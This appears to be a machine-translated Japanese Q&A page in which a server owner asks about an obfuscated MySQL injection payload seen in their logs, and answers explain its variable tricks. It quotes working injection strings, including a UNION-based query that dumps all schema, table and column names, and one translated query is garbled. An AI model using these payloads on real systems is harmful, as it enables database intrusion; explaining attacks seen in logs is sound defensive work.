web-dev-qa-db-ja.com

SQLインジェクションペイロードについて

サーバーに次のSQLインジェクションペイロードがヒットしました:-

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

(@)と(@:= 0x00)はこのペイロードで何を表していますか?

スタンドアロンで実行するには、上記のペイロードを次のように実行する必要があります。

select((/ !12345sELecT /(@)from(/ !12345sELecT /(@:= 0x00)、(/ !12345sELecT /( @)から(InFoRMAtiON_sCHeMa.ColUMNs)where(TAblE_sCHemA = DatAbAsE/data /())and(@)in(@:= CoNCat(@、0x3c62723e5461626c6520466f756e64203a20、TaBLe_nAMe、0x3a3a、column_name))))a));

ペイロードに構文エラーがありました。

25
Aayush

(@)と(@:= 0x00)はこのペイロードで何を表していますか?

  • @-変数名です
  • @:=0x00-この変数へのゼロの割り当てです。

注意: :=assignment-operator です

コメントでのQ&Aに対して@Frank Cedenoと@strnkに感謝します

@Frank Cedeno-/!12345sELecT/がどのように選択になるのですか?

@strnk-これは SQLコメントへのMySQL固有の拡張 であり、sELecTはサーバーのバージョンが12345(1.23.45)以上の場合にのみクエリに含まれます。非MySQLサーバーを除外します

詳細:

From websec sql_injection

一度に複数のテーブル/列を取得する

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

例:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

出力:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

このStackoverflowの回答 はSQLコードを説明しています。

まず、クエリを再フォーマットすることで、クエリを少し読みやすくします。

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

@の割り当ては次のとおりです。

  1. 3行目では、値0x00(10進数:0)を取得します。
  2. 5行目では、この値は(table_schema> = 0)より大の場合に使用されます。
  3. 6行目は、各スキーマ、テーブル、列の名前を@に連結する方法です。
  4. @は1行目で返され、構造の連結リストが含まれています

6行目で、追加の<br>(0x3C、0x62,0x72,0x3E)が変数に追加され、出力が読みやすくなります

29
Yaron